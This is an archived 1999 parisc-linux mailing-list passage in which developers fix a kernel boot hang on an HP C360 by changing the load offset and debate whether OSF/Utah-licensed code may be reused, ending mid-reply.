Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619688 12808 80.91.229.3 (22 Nov 2014 01:28:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Wed Jul  7 16:35:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA11884
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 16:35:26 -0600
Original-Received: (qmail 26953 invoked by uid 15267); 7 Jul 1999 22:35:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26941 invoked from network); 7 Jul 1999 22:35:56 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 7 Jul 1999 22:35:56 -0000
Original-Received: (qmail 15700 invoked from network); 7 Jul 1999 22:27:04 -0000
Original-Received: from dialppp-7-202.rz.ruhr-uni-bochum.de (HELO ruhr-uni-bochum.de) (134.147.7.202)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 7 Jul 1999 22:27:04 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9692

Hi !

Only a little idea, but you could try to set the Boot-Offset for the loaded
Image in the
arch/parisc/Makefile from 0x10000 to 0x12000 or higher....
It could be, that we overwrite the PDC & IO-Structures from the BIOS...
I think I read something about that in the other parisc-ports.....

Helge.

Hannu Martikka schrieb:

> Hi!
>
> I have problems with Linux on C360. Here is what I tried:
>
> 1) Get latest kernel src from CVS + egcs from binaries/depot.
> 2) Compilation works fine (done on hpux11/D-series):
>         make config; make dep;make clean ; make vmlinux ; make Image
>
> 3) copy vmlinux to /stand/vmlinux in C360
> 4) reboot with IPL
> 5) hpux /stand/vmlinux
>
>         boot:(0.0......)/stand/vmlinux
>
> This is the last message. Here it hangs. On frontpanel the leds 1-3 are on
> (no 4 is off).
>
> Should it work better in C-series? or is C-series "unsupported"?
>
> - Goodi
> "The linuX Files -- The Source is Out There."
> ,,`,,`,,`,,``,,
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

--
---------------------------------------
 Mailto:deller@gmx.de
 ICQ# 2046114
---------------------------------------



From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux in C360
Date: Wed, 07 Jul 1999 22:15:51 -0400
Organization: The Puffin Group
Lines: 20
Approved: news@gmane.org
Message-ID: <378409D7.6EF60AD8@thepuffingroup.com>
References: <Pine.HPX.4.05.9907071255560.20278-100000@gamgee.ntc.nokia.com> <3783D440.A546BAAC@ruhr-uni-bochum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619688 12816 80.91.229.3 (22 Nov 2014 01:28:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: adevries@thepuffingroup.com  Wed Jul  7 20:05:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA12125
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 20:05:07 -0600
Original-Received: (qmail 28269 invoked by uid 15267); 8 Jul 1999 02:05:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28261 invoked from network); 8 Jul 1999 02:05:38 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 8 Jul 1999 02:05:38 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id WAA20868;
	Wed, 7 Jul 1999 22:16:00 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9693

Helge Deller wrote:
> 
> Hi !
> 
> Only a little idea, but you could try to set the Boot-Offset for the loaded
> Image in the
> arch/parisc/Makefile from 0x10000 to 0x12000 or higher....
> It could be, that we overwrite the PDC & IO-Structures from the BIOS...
> I think I read something about that in the other parisc-ports.....
> 

Is there any reason not to bump that up to 0x12000 ? 

- A

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux in C360
Date: Wed, 7 Jul 1999 23:30:47 -0600 (MDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <199907080530.XAA13289@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619689 12821 80.91.229.3 (22 Nov 2014 01:28:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Helge.Deller@ruhr-uni-bochum.de, adevries@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Wed Jul  7 23:30:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA12404
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 23:30:25 -0600
Original-Received: (qmail 23558 invoked by uid 15267); 8 Jul 1999 05:30:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23543 invoked from network); 8 Jul 1999 05:30:57 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 8 Jul 1999 05:30:57 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id XAA13289;
	Wed, 7 Jul 1999 23:30:47 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9694

> Date: Wed, 07 Jul 1999 22:15:51 -0400
> From: Alex deVries <adevries@thepuffingroup.com>
> To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
> Subject: Re: [parisc-linux] vmlinux in C360
> 
> Helge Deller wrote:
> > 
> > Hi !
> > 
> > Only a little idea, but you could try to set the Boot-Offset for the loaded
> > Image in the
> > arch/parisc/Makefile from 0x10000 to 0x12000 or higher....
> > It could be, that we overwrite the PDC & IO-Structures from the BIOS...
> > I think I read something about that in the other parisc-ports.....
> > 
> 
> Is there any reason not to bump that up to 0x12000 ? 
> 

I thought that 0x10000 was the magic value, the PDC using memory below that.
However, we do indeed load the Mach kernel at 0x12000 and we load our BSD
kernel at 0x11000.  I no longer remember the reason, but I'm sure it was a
good one! :-)


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux in C360
Date: Thu, 08 Jul 1999 14:53:45 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <37849F59.D59C7057@ruhr-uni-bochum.de>
References: <199907080530.XAA13289@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619689 12823 80.91.229.3 (22 Nov 2014 01:28:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:09 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>,
        Hannu Martikka <martikka@stybba.ntc.nokia.com>
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Thu Jul  8 06:53:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA13023
	for <parisc-linux@puffin.external.hp.com>; Thu, 8 Jul 1999 06:53:27 -0600
Original-Received: (qmail 4833 invoked by uid 15267); 8 Jul 1999 12:54:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4824 invoked from network); 8 Jul 1999 12:53:59 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 8 Jul 1999 12:53:59 -0000
Original-Received: (qmail 8216 invoked from network); 8 Jul 1999 12:53:36 -0000
Original-Received: from dialppp-1-166.rz.ruhr-uni-bochum.de (HELO ruhr-uni-bochum.de) (134.147.1.166)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 8 Jul 1999 12:53:36 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9695

Mike Hibler schrieb:

> > Date: Wed, 07 Jul 1999 22:15:51 -0400
> > From: Alex deVries <adevries@thepuffingroup.com>
> > To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
> > Subject: Re: [parisc-linux] vmlinux in C360
> >
> > Helge Deller wrote:
> > >
> > > Hi !
> > >
> > > Only a little idea, but you could try to set the Boot-Offset for the loaded
> > > Image in the
> > > arch/parisc/Makefile from 0x10000 to 0x12000 or higher....
> > > It could be, that we overwrite the PDC & IO-Structures from the BIOS...
> > > I think I read something about that in the other parisc-ports.....
> > >
> >
> > Is there any reason not to bump that up to 0x12000 ?

No, I don't know... (maybe only theese few unused kilobyte...)
Alex, maybe you want to set it higher ? (We could try lower it later again!).

> I thought that 0x10000 was the magic value, the PDC using memory below that.
> However, we do indeed load the Mach kernel at 0x12000 and we load our BSD
> kernel at 0x11000.  I no longer remember the reason, but I'm sure it was a
> good one! :-)

Hannu: did you tried, if it worked ?

Helge.



From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim_hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] vmlinux in C360
Date: Thu, 8 Jul 1999 10:28:54 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <000601bec967$5a2bd8b0$a64d000f@jh733131.cup.hp.com>
References: <19990707180526.F386@mencheca.ch.genedata.com>
Reply-To: <hull@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619689 12825 80.91.229.3 (22 Nov 2014 01:28:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:09 +0000 (UTC)
Cc: "Hannu Martikka" <martikka@stybba.ntc.nokia.com>,
        <parisc-linux@thepuffingroup.com>
To: "Matthew Wilcox" <Matthew.Wilcox@genedata.com>,
        "Philipp Rumpf" <prumpf@suse.de>
Original-X-From: jim_hull@hp.com  Thu Jul  8 11:28:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA13780
	for <parisc-linux@puffin.external.hp.com>; Thu, 8 Jul 1999 11:28:41 -0600
Original-Received: (qmail 5050 invoked by uid 15267); 8 Jul 1999 17:29:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5040 invoked from network); 8 Jul 1999 17:29:05 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 8 Jul 1999 17:29:05 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.77.158])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA06210;
	Thu, 8 Jul 1999 13:28:30 -0400 (EDT)
Original-Received: from jh733131 (jh73313p.cup.hp.com [15.0.77.166]) by lucy.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA14075; Thu, 8 Jul 1999 10:28:56 -0700 (PDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
In-reply-to: <19990707180526.F386@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9696

> I guess the bootloader needs to force the W bit to 0?  I note that on
> an interruption, the W bit is set to the value of the default width
> bit, but how to set the default width bit is implementation defined.
> Anyone care to hint at how to set the default width bit too?

You use PDC_PSW to set the default width and default endian bits.  See page 2-59
in:

	http://dtf.external.hp.com/dtf/swdev/pdf/pdc.pdf

 -- Jim


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux in C360
Date: Fri, 9 Jul 1999 15:49:33 +0300 (EETDST)
Lines: 66
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9907091537090.19393-100000@gamgee.ntc.nokia.com>
References: <37849F59.D59C7057@ruhr-uni-bochum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619690 12828 80.91.229.3 (22 Nov 2014 01:28:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:10 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>,
        Alex deVries <adevries@thepuffingroup.com>
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: martikka@stybba.ntc.nokia.com  Fri Jul  9 06:49:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA15151
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jul 1999 06:49:42 -0600
Original-Received: (qmail 22930 invoked by uid 15267); 9 Jul 1999 12:50:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22912 invoked from network); 9 Jul 1999 12:50:04 -0000
Original-Received: from mgw-x1.nokia.com (131.228.20.21)
  by mailserv2.iuinc.com with SMTP; 9 Jul 1999 12:50:04 -0000
Original-Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60])
	by mgw-x1.nokia.com (8.9.3/8.9.3) with ESMTP id PAA13560;
	Fri, 9 Jul 1999 15:49:42 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i1.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id PAA16730;
	Fri, 9 Jul 1999 15:49:41 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id PAA28166;
	Fri, 9 Jul 1999 15:49:34 +0300 (EET DST)
In-Reply-To: <37849F59.D59C7057@ruhr-uni-bochum.de>
Xref: news.gmane.org gmane.linux.ports.parisc:9697

On Thu, 8 Jul 1999, Helge Deller wrote:

> Mike Hibler schrieb:
> 
> > > Date: Wed, 07 Jul 1999 22:15:51 -0400
> > > From: Alex deVries <adevries@thepuffingroup.com>
> > > To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
> > > Subject: Re: [parisc-linux] vmlinux in C360
> > >
> > > Helge Deller wrote:
> > > >
> > > > Hi !
> > > >
> > > > Only a little idea, but you could try to set the Boot-Offset for the loaded
> > > > Image in the
> > > > arch/parisc/Makefile from 0x10000 to 0x12000 or higher....
> > > > It could be, that we overwrite the PDC & IO-Structures from the BIOS...
> > > > I think I read something about that in the other parisc-ports.....
> > > >
> > >
> > > Is there any reason not to bump that up to 0x12000 ?
> 
> No, I don't know... (maybe only theese few unused kilobyte...)
> Alex, maybe you want to set it higher ? (We could try lower it later again!).
> 
> > I thought that 0x10000 was the magic value, the PDC using memory below that.
> > However, we do indeed load the Mach kernel at 0x12000 and we load our BSD
> > kernel at 0x11000.  I no longer remember the reason, but I'm sure it was a
> > good one! :-)
> 
> Hannu: did you tried, if it worked ?
Yes. It works better now. I used the 0x12000.

Now I see following:
----------------------------------------------------------
ISL> hpux /stand/vmlinux

Boot
:disk (8/..........)/stand/vmlinux
397320 + 114688 + 66464 start 0x12000

The kernel has started...
You are running a 0Mhz PA-RISC-Machine with 0MB of RAM.
First free address was 0x00000000 (This is the base of the stack).
Stacksize = 0x00040000.
First free User-Memory starts now at address 0x00040000 and ends at
0x00090beb.
L
----------------------------------------------------------

I guess that it still tries to say something (Cursor was placed after "L"
on last line). The amount of memory and Mhz are also bit incorrect...

Ps. Axex: I have tried couple of times to mail you directly... Did you get
those emails?

Btw. Is there going to be anything about paric-linux in LinuxExpo (San
Jose 9-12 Aug) or in HP-World? Anyone going there?

> 
> Helge.
- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,



From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux in C360
Date: Fri, 9 Jul 1999 16:11:58 +0300 (EETDST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9907091607460.19393-100000@gamgee.ntc.nokia.com>
References: <000601bec967$5a2bd8b0$a64d000f@jh733131.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619690 12832 80.91.229.3 (22 Nov 2014 01:28:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: hull@cup.hp.com
Original-X-From: martikka@stybba.ntc.nokia.com  Fri Jul  9 07:21:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA15447
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jul 1999 07:21:53 -0600
Original-Received: (qmail 26908 invoked by uid 15267); 9 Jul 1999 13:22:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26893 invoked from network); 9 Jul 1999 13:22:16 -0000
Original-Received: from mgw-x1.nokia.com (131.228.20.21)
  by mailserv2.iuinc.com with SMTP; 9 Jul 1999 13:22:16 -0000
Original-Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60])
	by mgw-x1.nokia.com (8.9.3/8.9.3) with ESMTP id QAA07993;
	Fri, 9 Jul 1999 16:12:04 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i1.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id QAA24556;
	Fri, 9 Jul 1999 16:12:04 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id QAA00508;
	Fri, 9 Jul 1999 16:11:58 +0300 (EET DST)
In-Reply-To: <000601bec967$5a2bd8b0$a64d000f@jh733131.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9698

On Thu, 8 Jul 1999, Jim Hull wrote:

> > I guess the bootloader needs to force the W bit to 0?  I note that on
> > an interruption, the W bit is set to the value of the default width
> > bit, but how to set the default width bit is implementation defined.
> > Anyone care to hint at how to set the default width bit too?
> 
> You use PDC_PSW to set the default width and default endian bits.  See page 2-59
> in:
> 
> 	http://dtf.external.hp.com/dtf/swdev/pdf/pdc.pdf
There seems to be some problems with that url...
"Connection was refused by te server dtf.external.hp.com"

>  -- Jim
- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Helge.Deller@ruhr-uni-bochum.de: licencing-question... ?]
Date: Fri, 9 Jul 1999 13:09:13 -0400
Lines: 78
Approved: news@gmane.org
Message-ID: <19990709130913.H14613@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=s2ZSL+KKDSLx8OML
X-Trace: ger.gmane.org 1416619690 12835 80.91.229.3 (22 Nov 2014 01:28:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@linux.hypnotic.org  Fri Jul  9 11:08:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA16369
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jul 1999 11:08:12 -0600
Original-Received: (qmail 32265 invoked by uid 15267); 9 Jul 1999 17:08:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32253 invoked from network); 9 Jul 1999 17:08:39 -0000
Original-Received: from covad-sdsl-24.cais.net (HELO linux.hypnotic.org) (pschwan@209.8.211.24)
  by mailserv2.iuinc.com with SMTP; 9 Jul 1999 17:08:39 -0000
Original-Received: (from pschwan@localhost)
	by linux.hypnotic.org (8.9.3/8.9.3/Debian/GNU) id NAA15073
	for parisc-linux@thepuffingroup.com; Fri, 9 Jul 1999 13:09:14 -0400
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:9699


--s2ZSL+KKDSLx8OML
Content-Type: text/plain; charset=us-ascii

The mailing list is still grossly misbehaving, but it seems to only do
so for Helge's mail.  I'm dealing with some mailing list issues today,
so I'll look at this as well.  In the meantime, here's Helge's mail:

-Phil

--s2ZSL+KKDSLx8OML
Content-Type: message/rfc822

Message-ID: <37862832.63D6A751@ruhr-uni-bochum.de>
Old-Date: Fri, 09 Jul 1999 18:49:54 +0200
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
MIME-Version: 1.0
CC: parisc-linux@thepuffingroup.com
Subject: licencing-question... ?
References: <Pine.HPX.4.05.9907091607460.19393-100000@gamgee.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Envelope-To: parisc-linux

Hi !

Since my commits do not show on the cvs-parisc-list......

I committed again some changes (Phillip: I only changed some small things, so that we
could compile the source again; please ignore all my changes in irq.c !),  but my
main-question is:

Are we/Am I  allowed to use code from the OSF-parisc-port ???
The license from this port is:
-----------------------------------------------------------------
/*
 * Copyright 1996 1995 by Open Software Foundation, Inc.
 *              All Rights Reserved
 *
 * Permission to use, copy, modify, and distribute this software and
 * its documentation for any purpose and without fee is hereby granted,
 * provided that the above copyright notice appears in all copies and
 * that both the copyright notice and this permission notice appear in
 * supporting documentation.
 *
 * OSF DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE
 * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 * FOR A PARTICULAR PURPOSE.
 *
 * IN NO EVENT SHALL OSF BE LIABLE FOR ANY SPECIAL, INDIRECT, OR
 * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
 * LOSS OF USE, DATA OR PROFITS, WHETHER IN ACTION OF CONTRACT,
 * NEGLIGENCE, OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
 * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 */
/*
 * Copyright (c) 1990,1991,1994 The University of Utah and
 * the Computer Systems Laboratory (CSL).  All rights reserved.
 *
 * THE UNIVERSITY OF UTAH AND CSL PROVIDE THIS SOFTWARE IN ITS "AS IS"
 * CONDITION, AND DISCLAIM ANY LIABILITY OF ANY KIND FOR ANY DAMAGES
 * WHATSOEVER RESULTING FROM ITS USE.
 *
 * CSL requests users of this software to return to csl-dist@cs.utah.edu any
 * improvements that they make and grant CSL redistribution rights.
 *
 */
-----------------------------------------------------------------

Can we use the code, is it OK to accept this license, or shall we rewrite all ????

Thanks,
Helge.

--s2ZSL+KKDSLx8OML--


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] licencing-question... ?
Date: Fri, 9 Jul 1999 19:52:07 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <19990709195207.S386@mencheca.ch.genedata.com>
References: <19990709130913.H14613@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619691 12840 80.91.229.3 (22 Nov 2014 01:28:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Phil Schwan <pschwan@thepuffingroup.com>
Original-X-From: Matthew.Wilcox@genedata.com  Fri Jul  9 11:52:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA17082
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jul 1999 11:52:18 -0600
Original-Received: (qmail 10088 invoked by uid 15267); 9 Jul 1999 17:52:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10073 invoked from network); 9 Jul 1999 17:52:44 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 9 Jul 1999 17:52:44 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id TAA07433;
	Fri, 9 Jul 1999 19:52:41 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id TAA3963543;
	Fri, 9 Jul 1999 19:52:40 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m112eoh-00025cC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for pschwan@thepuffingroup.com; Fri, 9 Jul 1999 19:52:07 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19990709130913.H14613@thepuffingroup.com>; from Phil Schwan on Fri, Jul 09, 1999 at 01:09:13PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9700

On Fri, Jul 09, 1999 at 01:09:13PM -0400, Phil Schwan wrote:
> Are we/Am I  allowed to use code from the OSF-parisc-port ???
> The license from this port is:
> -----------------------------------------------------------------
> /*
>  * Copyright 1996 1995 by Open Software Foundation, Inc.
>  *              All Rights Reserved

>  * Permission to use, copy, modify, and distribute this software and
>  * its documentation for any purpose and without fee is hereby granted,
>  * provided that the above copyright notice appears in all copies and
>  * that both the copyright notice and this permission notice appear in
>  * supporting documentation.

This is the only bit to worry about.  I _think_ it's okay (ie this isn't
the infamous `advertising clause -- i think that's the one which talks about
being mentioned on the advertising for your product).  At any rate, the X11
licence which is generally reckoned GPL-subsumable contains:

